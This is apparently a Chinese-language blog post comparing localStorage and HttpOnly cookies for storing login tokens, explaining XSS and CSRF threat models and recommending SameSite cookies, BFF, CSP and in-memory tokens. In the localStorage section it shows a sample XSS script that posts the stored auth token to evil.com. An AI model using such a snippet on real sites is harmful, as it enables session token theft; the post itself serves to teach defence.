Skip to content

localStorage vs Cookie 存储 Token

登录成功后服务端返回 Token,前端要存下来,后续请求带上。选 localStorage 还是 Cookie?决策的关键不是"哪个更方便",而是信任模型不同——你选择信任 JS 运行时,还是信任浏览器的自动行为。


localStorage 方案

工作方式

js
// 登录成功后存
localStorage.setItem('auth_token', response.token);

// 每次请求手动带
fetch('/api/user', {
  headers: { 'Authorization': `Bearer ${localStorage.getItem('auth_token')}` }
});

Token 存在浏览器 storage 里,同源 JS 可读写,不随请求自动发送。

威胁模型:XSS

localStorage 面临的核心攻击面是 XSS。一旦页面被注入恶意脚本,攻击者一行代码就能拿到 token:

js
// 攻击脚本
fetch('https://evil.com/collect', {
  method: 'POST',
  body: JSON.stringify({ token: localStorage.getItem('auth_token') })
});

攻击路径:用户输入未过滤 → 恶意脚本注入 → 读取 localStorage → token 外泄

不是 localStorage 的安全漏洞——它的设计语义就是"同源 JS 可以读写",这是 feature 不是 bug。真正的问题是 XSS 防御在复杂前端项目里几乎不可能做到 100%:第三方 npm 包、富文本渲染、广告脚本、浏览器扩展,每一个都是潜在的 XSS 入口。

为什么很多人选它

  • 不需要后端配合——纯前端就能搞定
  • 不随请求自动发送,不会增加每个请求的体积(Cookie 会被自动附加到所有同域请求)
  • ~5MB 容量,JWT 再大也无所谓
  • SPA 天然顺手:手动管理 Authorization header 符合 REST 直觉

工作方式

http
Set-Cookie: auth_token=xxx; HttpOnly; Secure; SameSite=Strict; Max-Age=86400; Path=/

后端通过 Set-Cookie 响应头下发,浏览器存储并在后续请求中自动附加。前端 JS 完全不碰 token——document.cookie 也读不到被标记为 HttpOnly 的 Cookie。

威胁模型:CSRF

Cookie 的自动发送特性引入了 CSRF

text
攻击路径:
  用户登录 siteA(Cookie 已设置)
  → 用户访问恶意站点 siteB
  → siteB 的页面发起 <form> 或 fetch 请求到 siteA
  → 浏览器自动附加 siteA 的 Cookie
  → 请求以用户身份在 siteA 上执行(转账、改密码等)

但这个问题的现代解法已经成熟:

  • SameSite=Strict/Lax:浏览器在跨站请求中不发送 Cookie,从平台层解决 CSRF
  • Origin / Referer 校验:服务端检查请求来源
  • CSRF Token:需要攻击者无法获取的额外随机值(但和 SameSite 相比属于上一代方案)

SameSite 是浏览器的内置机制,不需要应用层代码配合。2020 年之后主流浏览器已经将 SameSite 默认值设为 Lax,CSRF 的威胁面被大幅压缩。

HttpOnly 的核心价值

text
HttpOnly Cookie:
  - JS 完全不可读写(document.cookie 中不可见)
  - 只在 HTTP 请求中自动传输
  - XSS 即使成功执行,也无法窃取 token 本身

这意味着 localStorage 最害怕的攻击场景——token 被窃取——在 HttpOnly Cookie 方案下直接被消除。注意:攻击者仍然可以通过 XSS 发起请求(浏览器会自动带 Cookie),但无法偷走 token 离线使用。这是两种完全不同的危害等级:前者是一次性利用,后者是持久化泄露。


核心对比

维度localStorageCookie (HttpOnly)
JS 可读写否(HttpOnly 标记)
随请求发送否,手动附加 Header是,浏览器自动
主要威胁XSS → token 窃取CSRF → 请求伪造
威胁严重度token 持久化泄露单次利用(无法窃取 token)
容量~5MB~4KB(单条 Cookie)
跨域需手动处理 CORS受 Domain / SameSite 控制
过期控制需手动实现逻辑Max-Age / Expires
后端依赖需要 Set-Cookie 配合
子域共享不支持可配置 Domain

工程实践

如果后端在同域或可控子域下,用 HttpOnly + Secure + SameSite=Strict Cookie 存 token,不需要纠结。

不是因为 Cookie 方案绝对安全,而是因为:XSS 比 CSRF 更难防御。XSS 的入口太多(第三方依赖、富文本、用户生成内容、广告脚本、浏览器插件),而 CSRF 已经被 SameSite 降维成了可控问题。把防御重心放在更容易防守的路径上是理性的工程决策。

2. BFF 模式

很多团队的实际做法:

text
浏览器 ←→ BFF(同域)←→ 后端服务
       Cookie        Internal Token

BFF(Backend For Frontend)和前端部署在同域下,浏览器侧用 Cookie 维护 session。BFF 向后端服务转发时带 Internal Token。前端完全不知道 token 的存在——只维护一个 session cookie。

好处:

  • 浏览器侧:Cookie 方案,免受 XSS token 窃取
  • 服务间:Bearer Token / mTLS,标准服务间认证
  • token 刷新逻辑集中在 BFF,前端无感知

3. 只能用 localStorage 时

跨域 API、第三方服务、静态部署等场景下,可能无法控制后端 Set-Cookie。此时用 localStorage 是无奈之举,需要配套措施:

  • CSP(Content Security Policy):严格限制脚本来源,这是 XSS 防御的最后一道防线。script-src 'self' 能挡住大部分注入。
  • Token 短生命周期:access token 有效期控制在 5-15 分钟,即使泄露窗口也有限。
  • Refresh token 走 Cookie:如果 OAuth 流程支持,把 refresh token 放在 HttpOnly Cookie 里,access token 存 JS 内存(而非 localStorage)。这样即使 XSS 拿到了 access token,也只能在窗口期内使用。

4. 折中方案:Access Token 存内存

js
// access token 只存在 JS 闭包里,不持久化
let accessToken = null;

// refresh token 在 HttpOnly Cookie 中,JS 不可见
// 刷新:POST /auth/refresh → 浏览器自动带 cookie → 返回新 access token
async function getToken() {
  if (!accessToken) {
    const res = await fetch('/auth/refresh', { method: 'POST', credentials: 'include' });
    accessToken = (await res.json()).access_token;
  }
  return accessToken;
}

这个方案的取舍:access token 刷新页面就丢失(需要重新换),但泄露窗口被压缩到单页面生命周期。XSS 能在当前会话中拿到 access token,但无法持久化窃取——页面关闭后攻击者手里的 token 就失效了。


总结

两个方案的选择本质上不取决于技术偏好,而取决于你能控制后端吗

  • 能 → HttpOnly Cookie,信任浏览器平台的安全机制,把复杂度让渡给基础设施
  • 不能 → localStorage,把防御重心转移到 CSP 和 token 生命周期管理上

没有绝对安全的方案。工程决策是在给定约束下选风险更可控的那个。在这个问题里,HttpOnly Cookie + SameSite 是当前约束下更可控的选项——不是因为 Cookie 没有攻击面,而是因为它的攻击面(CSRF)已经被浏览器原生机制有效缓解,而 localStorage 的攻击面(XSS)在当前前端生态里仍然是高风险的。